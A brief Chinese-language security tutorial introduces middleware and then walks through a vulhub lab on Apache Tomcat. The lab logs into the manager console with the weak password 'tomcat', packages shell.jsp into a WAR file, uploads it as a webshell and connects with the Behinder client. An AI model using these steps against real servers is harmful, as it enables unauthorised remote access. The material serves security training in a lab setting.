一 、中间件漏洞介绍
中间件是一种独立的系统软件或服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源。中间件位于客户机/ 服务器的操作系统之上,管理计算机资源和网络通讯。是连接两个独立应用程序或独立系统的软件。相连接的系统,即使它们具有不同的接口,但通过中间件相互之间仍能交换信息。执行中间件的一个关键途径是信息传递。通过中间件,应用程序可以工作于多平台或 OS 环境。
二 、tomcat 漏洞
2.1 Tomcat 简介
Tomcat 服务器是一个开源的轻量级 Web 应用服务器,在中小型系统和并发量小的场合下被普遍使用,是开发和调试 Servlet、JSP 程序的首选。
2.2 Tomcat 弱口令+getshell 漏洞环境搭建进入
cd vulhub/tomcat/tomcat8
docker-compose up –d
验证 :http://192.168.129.210:8080/
2.3 漏洞实战
http://192.168.129.210:8080/manager/html
进入后台 弱口令 tomcat
war 包制作
jar -cvf shell_jsp2.war shell.jsp
上传木马 war 包
访问木马
http://192.168.1.5:8080/shell.jsp/shell.jsp
冰蝎连接